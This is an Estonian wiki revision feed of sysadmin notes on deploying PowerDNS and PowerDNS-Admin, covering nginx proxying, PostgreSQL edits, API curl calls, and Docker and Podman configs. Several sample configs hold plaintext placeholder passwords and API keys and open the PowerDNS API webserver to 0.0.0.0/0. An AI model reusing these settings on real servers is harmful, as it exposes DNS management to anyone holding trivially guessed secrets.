    add_header Strict-Transport-Security &amp;quot;max-age=63072000&amp;quot; always;&lt;br /&gt;
 &lt;br /&gt;
    access_log /var/log/nginx/access-pdns.moraal.ee-443.log;&lt;br /&gt;
    root /var/www/html;&lt;br /&gt;
 &lt;br /&gt;
    location / {&lt;br /&gt;
      proxy_set_header Host $http_host;&lt;br /&gt;
      proxy_set_header X-Forwarded-For $remote_addr;&lt;br /&gt;
      proxy_set_header X-Forwarded-Proto https;&lt;br /&gt;
      proxy_pass http://192.168.10.53:9191;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PowerDNS-Admin paigaldamine - NginX docker====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab pda webgui poole pöörduda aadressiga https://pdns.moraal.ee/.&lt;br /&gt;
&lt;br /&gt;
PDA kasutaja parooli muutmine postgresql baasis, nb rakendus kasutab tabeli nimena 'user', see on postgresql nö built-in objekt ja name clash ületamiseks tuleb pöörduda rakendusega seotud ressursi poole &amp;quot;user&amp;quot; abil, eriti koos skeemi prefiksiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# su - postgres&lt;br /&gt;
$ psql db_pda&lt;br /&gt;
pda=# select * from public.&amp;quot;user&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]------------------------------------------------------------&lt;br /&gt;
id         | 1&lt;br /&gt;
username   | admin&lt;br /&gt;
password   | $2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FF&lt;br /&gt;
firstname  | Imre&lt;br /&gt;
lastname   | Oolberg&lt;br /&gt;
email      | imre.oolberg@auul.pri.ee&lt;br /&gt;
otp_secret | &lt;br /&gt;
role_id    | 1&lt;br /&gt;
confirmed  | f&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
db_pda=# update public.&amp;quot;user&amp;quot; set password='$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC' where username='admin';&lt;br /&gt;
UPDATE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures password väärtus tekitatakse nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ htpasswd -bnBC 15 &amp;quot;&amp;quot; pdaparool | tr -d ':\n'&lt;br /&gt;
$2y$15$NgdA4JSsKb1RyaiWBdKjcODfgxkwmhMB.95sa07PX/d9a9QxZ/4FC&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into &amp;quot;user&amp;quot; (username, password, firstname, lastname, email, role_id, confirmed) values ('admin',  '$2b$12$4M9qXQaWn95GTregvSO2v.I/1QQT0/Ayqt3jZsMp06FIa5dMme6Gu', 'Administrator', 'Administrator', 'priit@moraal.ee', 1, 'f');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
pdns api kontakti lisamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_url', 'http://192.168.10.80:8081');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_api_key', 'apiparool');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# insert into setting (name, value) values ('pdns_version', '4.9.11');&lt;br /&gt;
INSERT 0 1&lt;br /&gt;
db_pda=# select * from setting;&lt;br /&gt;
 id |     name     |         value&lt;br /&gt;
----+--------------+------------------------&lt;br /&gt;
  7 | pdns_api_url | http://192.168.10.80:8081&lt;br /&gt;
  8 | pdns_api_key | apiparool&lt;br /&gt;
  9 | pdns_version | 4.9.11&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA kasutamise privileegid====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* Account - grupi taoline moodustis, praktiliselt võiks vastata domeeni omanik asutusele&lt;br /&gt;
* User - kasutaja taoline moodustis, vastab inimesele kes süsteemi kasutab&lt;br /&gt;
* User ja Account vaheliste seoste abil saab anda hulgale kasutajatele õiguse tegeleda hulga domeenidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@rv-xxx-01:/opt/pda/dc# docker exec -ti e8 sh&lt;br /&gt;
/app $ ps aux&lt;br /&gt;
PID   USER     TIME  COMMAND&lt;br /&gt;
    1 pda       0:00 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    7 pda       0:02 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
    8 pda       0:01 {gunicorn} /usr/bin/python3 /usr/bin/gunicorn powerdnsadmin:create_app() -t 60 --workers 2 --bind 0.0.0.0:80 --log-level DEBUG&lt;br /&gt;
&lt;br /&gt;
[2025-10-31 13:06:25,927] [record.py:61] ERROR - Cannot fetch zone's record data from remote powerdns api. DETAIL: HTTPSConnectionPool(host='rvxxx-01.test.moraal.ee', port=443): Max retries exceeded with url: /api/v1/servers/localhost/zones/imretest-03.ee (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate in certificate chain (_ssl.c:1007)')))&lt;br /&gt;
&lt;br /&gt;
    volumes:&lt;br /&gt;
        #      - /opt/pda/volume/pda/etc/ssl/certs/ca-certificates.crt:/usr/lib/python3.10/site-packages/certifi/cacert.pem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PDA API liidese kasutamine====&lt;br /&gt;
&lt;br /&gt;
Tsooni tekitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -s -L -H 'Content-Type: application/json' -H 'Authorization: Basic xxx' -X POST https://pda.moraal.ee/api/v1/pdnsadmin/zones \&lt;br /&gt;
    --data '{&amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;, &amp;quot;kind&amp;quot;: &amp;quot;MASTER&amp;quot;, &amp;quot;nameservers&amp;quot;: [&amp;quot;ans1.moraal.ee.&amp;quot;, &amp;quot;ans2.moraal.ee.&amp;quot;]}' | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;account&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;api_rectify&amp;quot;: false,&lt;br /&gt;
  &amp;quot;catalog&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;dnssec&amp;quot;: false,&lt;br /&gt;
  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4223</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4223"/>
		<updated>2026-06-15T18:28:04Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* pdns docker lahendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
